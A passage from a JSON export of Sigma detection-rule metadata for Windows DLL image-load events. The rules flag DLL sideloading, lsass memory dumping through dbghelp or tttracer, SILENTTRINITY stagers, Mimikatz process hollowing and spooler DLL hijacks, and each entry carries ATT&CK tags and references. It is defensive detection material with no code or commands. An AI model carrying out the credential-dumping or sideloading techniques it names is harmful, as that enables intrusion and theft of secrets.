        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://lab52.io/blog/2344-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_reactivator.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3735d5ac-d770-4da0-99ff-156b180bc600",
      "value": "Potential CCleanerReactivator.DLL Sideloading"
    },
    {
      "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecraft use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n",
      "meta": {
        "author": "Perez Diego (@darkquassar), oscd.community, Ecco",
        "creation_date": "2019/10/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_dbghelp_dbgcore_susp_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6",
          "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump",
          "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_susp_load.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1",
      "value": "Load Of Dbghelp/Dbgcore DLL From Suspicious Process"
    },
    {
      "description": "Detects potential DLL sideloading of \"wwlib.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/05/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_wwlib.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/WhichbufferArda/status/1658829954182774784",
          "https://securelist.com/apt-luminousmoth/103332/",
          "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wwlib.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e2e01011-5910-4267-9c3b-4149ed5479cf",
      "value": "Potential WWlib.DLL Sideloading"
    },
    {
      "description": "Detects processes loading modules related to PCRE.NET package",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_pcre_dotnet_dll_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tifkin_/status/1321916444557365248",
          "https://twitter.com/rbmaslen/status/1321859647091970051",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_pcre_dotnet_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c",
      "value": "PCRE.NET Package Image Load"
    },
    {
      "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate usage by software developers/testers"
        ],
        "filename": "image_load_dll_tttracer_module_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/",
          "https://twitter.com/oulusoyum/status/1191329746069655553",
          "https://twitter.com/mattifestation/status/1196390321783025666",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_tttracer_module_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.credential_access",
          "attack.t1218",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf",
      "value": "Time Travel Debugging Utility Usage - Image"
    },
    {
      "description": "Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_classicexplorer32.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/",
          "https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "caa02837-f659-466f-bca6-48bde2826ab4",
      "value": "Potential DLL Sideloading Via ClassicExplorer32.dll"
    },
    {
      "description": "Detects DLL sideloading of \"dbghelp.dll\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)",
        "creation_date": "2022/10/25",
        "falsepositive": [
          "Legitimate applications loading their own versions of the DLL mentioned in this rule"
        ],
        "filename": "image_load_side_load_dbghelp_dll.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784",
      "value": "Potential DLL Sideloading Of DBGHELP.DLL"
    },
    {
      "description": "Detects potential DLL sideloading of \"roboform.dll\", a DLL used by RoboForm Password Manager",
      "meta": {
        "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/14",
        "falsepositive": [
          "If installed on a per-user level, the path would be located in \"AppData\\Local\". Add additional filters to reflect this mode of installation"
        ],
        "filename": "image_load_side_load_robform.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.roboform.com/",
          "https://twitter.com/StopMalvertisin/status/1648604148848549888",
          "https://twitter.com/t3ft3lb/status/1656194831830401024",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_robform.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f64c9b2d-b0ad-481d-9d03-7fc75020892a",
      "value": "Potential RoboForm.DLL Sideloading"
    },
    {
      "description": "Detects SILENTTRINITY stager dll loading activity",
      "meta": {
        "author": "Aleksey Potapov, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_hktl_silenttrinity_stager.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/byt3bl33d3r/SILENTTRINITY",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_silenttrinity_stager.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071"
        ]
      },
      "related": [
        {
          "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d",
      "value": "HackTool - SILENTTRINITY Stager DLL Load"
    },
    {
      "description": "Detects potential sideloading of \"mpclient.dll\" by Windows Defender processes (\"MpCmdRun\" and \"NisSrv\") from their non-default directory.",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_windows_defender.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_windows_defender.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc",
      "value": "Potential Mpclient.DLL Sideloading"
    },
    {
      "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/30",
        "falsepositive": [
          "Unikely"
        ],
        "filename": "image_load_cmstp_load_dll_from_susp_location.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_cmstp_load_dll_from_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1",
      "value": "DLL Loaded From Suspicious Location Via Cmspt.EXE"
    },
    {
      "description": "Detects potential DLL sideloading of \"libvlc.dll\", a DLL that is legitimately used by \"VLC.exe\"",
      "meta": {
        "author": "X__Junior",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "False positives are expected if VLC is installed in non-default locations"
        ],
        "filename": "image_load_side_load_libvlc.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html",
          "https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_libvlc.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf9808c4-d24f-44a2-8398-b65227d406b6",
      "value": "Potential Libvlc.DLL Sideloading"
    },
    {
      "description": "Detects DSParse DLL being loaded by an Office Product",
      "meta": {
        "author": "Antonlovesdnb",
        "creation_date": "2020/02/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_office_dsparse_dll_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dsparse_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4",
      "value": "Active Directory Parsing DLL Loaded Via Office Application"
    },
    {
      "description": "Detects PowerShell core DLL being loaded by an Office Product",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_office_powershell_dll_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_powershell_dll_load.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "bb2ba6fb-95d4-4a25-89fc-30bb736c021a",
      "value": "PowerShell Core DLL Loaded Via Office Application"
    },
    {
      "description": "Detects potential DLL sideloading of \"SmadHook.dll\", a DLL used by SmadAV antivirus",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_smadhook.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.qurium.org/alerts/targeted-malware-against-crph/",
          "https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_smadhook.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24b6cf51-6122-469e-861a-22974e9c1e5b",
      "value": "Potential SmadHook.DLL Sideloading"
    },
    {
      "description": "Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as \"C:\\Users\\Public\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_susp_dll_load_system_process.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c",
      "value": "DLL Load By System Process From Suspicious Locations"
    },
    {
      "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2018/01/07",
        "falsepositive": [
          "Very likely, needs more tuning"
        ],
        "filename": "image_load_susp_uncommon_image_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20220815065318/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7",
      "value": "Possible Process Hollowing Image Loading"
    },
    {
      "description": "Detects potential DLL sideloading of \"edputil.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_edputil.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://alternativeto.net/news/2023/5/cybercriminals-use-wordpad-vulnerability-to-spread-qbot-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_edputil.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4903324-1a10-4ed3-981b-f6fe3be3a2c2",
      "value": "Potential Edputil.DLL Sideloading"
    },
    {
      "description": "Detects any GAC DLL being loaded by an Office Product",
      "meta": {
        "author": "Antonlovesdnb",
        "creation_date": "2020/02/19",
        "falsepositive": [
          "Legitimate macro usage. Add the appropriate filter according to your environment"
        ],
        "filename": "image_load_office_dotnet_gac_dll_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_gac_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac",
      "value": "GAC DLL Loaded Via Office Applications"
    },
    {
      "description": "Detects processes loading the non-existent DLL \"ShellChromeAPI\". One known example is the \"DeviceEnroller\" binary in combination with the \"PhoneDeepLink\" flag tries to load this DLL.\nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_shell_chrome_api.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html",
          "https://mobile.twitter.com/0gtweet/status/1564131230941122561",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shell_chrome_api.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee4c5d06-3abc-48cc-8885-77f1c20f4451",
      "value": "DLL Sideloading Of ShellChromeAPI.DLL"
    },
    {
      "description": "Detects potential DLL sideloading of \"iviewers.dll\" (OLE/COM Object Interface Viewer)",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/03/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_iviewers.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.secureworks.com/research/shadowpad-malware-analysis",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_iviewers.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4c21b805-4dd7-469f-b47d-7383a8fcb437",
      "value": "Potential Iviewers.DLL Sideloading"
    },
    {
      "description": "Detects the image load of VSS DLL by uncommon executables",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/02/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_vsstrace_susp_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/ORCx41/DeleteShadowCopies",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vsstrace_susp_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48bfd177-7cf2-412b-ad77-baf923489e82",
      "value": "Suspicious Volume Shadow Copy Vsstrace.dll Load"
    },
    {
      "description": "Detects Kerberos DLL being loaded by an Office Product",
      "meta": {
        "author": "Antonlovesdnb",
        "creation_date": "2020/02/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_office_kerberos_dll_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_kerberos_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837",
      "value": "Active Directory Kerberos DLL Loaded Via Office Application"
    },
    {
      "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa",
      "value": "Wmiprvse Wbemcomn DLL Hijack"
    },
    {
      "description": "Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Legitimate macro usage. Add the appropriate filter according to your environment"
        ],
        "filename": "image_load_office_outlook_outlvba_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=58",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_outlook_outlvba_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a0b8719-cd3c-4f0a-90de-765a4cb3f5ed",
      "value": "Microsoft VBA For Outlook Addin Loaded Via Outlook"
    },
    {
      "description": "Detect DLL Load from Spooler Service backup folder",
      "meta": {
        "author": "FPT.EagleEye, Thomas Patzke (improvements)",
        "creation_date": "2021/06/29",
        "falsepositive": [
          "Loading of legitimate driver"
        ],
        "filename": "image_load_spoolsv_dll_load.yml",
        "level": "informational",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hhlxf/PrintNightmare",
          "https://github.com/ly4k/SpoolFool",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574",
          "cve.2021.1675",
          "cve.2021.34527"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14",
      "value": "Windows Spooler Service Suspicious Binary Load"
    },
    {
      "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)",
        "creation_date": "2022/08/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_office_dlls.yml",
